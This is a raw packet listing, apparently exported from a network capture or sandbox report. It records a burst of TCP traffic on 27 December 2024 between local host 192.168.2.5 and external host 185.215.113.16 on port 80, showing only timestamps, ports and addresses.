Dec 27, 2024 08:54:51.776515961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.776906013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.777018070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.777055979 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.778072119 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.778167009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.778213024 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.778512001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.778635979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.779335976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.779355049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.779387951 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.779421091 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.780603886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.780723095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.780764103 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.781002998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.781115055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.781151056 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.782083035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.782169104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.782208920 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.782949924 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.783046007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.783101082 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.783428907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.783535957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.783577919 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.784480095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.784498930 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.784547091 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.785057068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.785152912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.785190105 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.786071062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.786179066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.786225080 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.786914110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.787013054 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.787062883 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.787488937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.787581921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.787642002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.788292885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.788417101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.788465023 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.789383888 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.789484978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.789521933 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.789937973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.789979935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.790277958 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.790786982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.790885925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.790931940 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.791543007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.791691065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.791734934 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.792349100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.792453051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.792495966 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.793165922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.793266058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.793307066 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.793991089 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.794106007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.794146061 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.794828892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.794930935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.794992924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.795641899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.795726061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.795768023 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.796386957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.796500921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.796551943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.797247887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.797338009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.797382116 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.798079967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.798113108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.798155069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.798820972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.798979998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.799034119 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.799669027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.799773932 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.799817085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.800482988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.800657988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.800714016 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.801295996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.801309109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.801348925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.802088022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.802162886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.802205086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.802915096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.803014994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.803071022 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.803735018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.803783894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.803828001 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.804568052 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.804666042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.804719925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.805295944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.805341959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.805406094 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.806142092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.806256056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.806304932 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.806962013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.807153940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.807595968 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.807759047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.807873964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.807917118 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.808554888 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.808640957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.808681011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.809350967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.809468031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.809514999 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.810158014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.810218096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.810261965 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.810971022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.811120033 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.811172962 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.811784983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.811898947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.811943054 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.812602043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.812691927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.812737942 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.813575983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.813648939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.813700914 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.814199924 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.814248085 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.814286947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.815040112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.815116882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.815573931 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.815829992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.815921068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.816200972 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.816647053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.816776991 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.816953897 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.817447901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.817544937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.817589998 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.818311930 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.818366051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.818404913 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.819113970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.819247961 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.819293976 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.819874048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.820055962 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.820101976 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.820684910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.820811033 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.820867062 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.821515083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.821655035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.821787119 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.822324038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.822424889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.822473049 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.823127031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.823224068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.823501110 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.823905945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.824031115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.824081898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.824732065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.824837923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.825011015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.825539112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.825592995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.825664997 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.826366901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.826479912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.826528072 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.827197075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.827311039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.827368975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.827984095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.828073025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.828120947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.828802109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.828922987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.828972101 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.829602957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.829701900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.829922915 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.830391884 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.830507040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.830564976 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.831238031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.831286907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.831357956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.832041979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.832076073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.832125902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.832876921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.832994938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.833060026 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.833826065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.833919048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.834008932 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.834436893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.834552050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.834773064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.835297108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.835374117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.835427999 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.836045027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.836114883 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.836184978 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.836813927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.836869001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.836911917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.837567091 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.837589025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.837642908 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.838330030 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.838393927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.838593006 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.839102983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.839212894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.839267015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.839862108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.839971066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.840013981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.840889931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.840904951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.840940952 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.841363907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.841476917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.841706991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.842103004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.842216969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.842263937 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.842848063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.842950106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.842995882 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.843605042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.843687057 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.843725920 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.844347954 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.844460011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.844499111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.845074892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.845143080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.845186949 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.845845938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.845948935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.845999002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.846633911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.846874952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.846914053 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.847944975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.848057032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.848109007 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.848306894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.848449945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.848814964 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.849045038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.849160910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.849845886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.849900961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.850018024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.850059032 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.850668907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.850790977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.851469994 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.851943016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.852041960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.852092028 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.852257013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.852374077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.852844954 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.853251934 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.853344917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.853674889 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.854367971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.854495049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.854538918 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.854679108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.889532089 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.889569998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.889586926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.889688015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.891221046 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.891263008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.891273975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.891326904 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.891381979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.891427994 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.892863035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.892930984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.892945051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.892992973 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.893001080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.893047094 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.894520044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.894575119 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.894587994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.894630909 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.894678116 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.894731998 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.896085024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.896131992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.896145105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.896188974 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.896229982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.896277905 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.897664070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.897730112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.897743940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.897778988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.897840023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.897891045 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.898844957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.898895979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.898909092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.898951054 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.898991108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.899033070 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.900811911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.900855064 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.900867939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.900911093 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.900928020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:51.900975943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:51.902524948 CET	80	49728	185.215.113.16	192.168.2.5
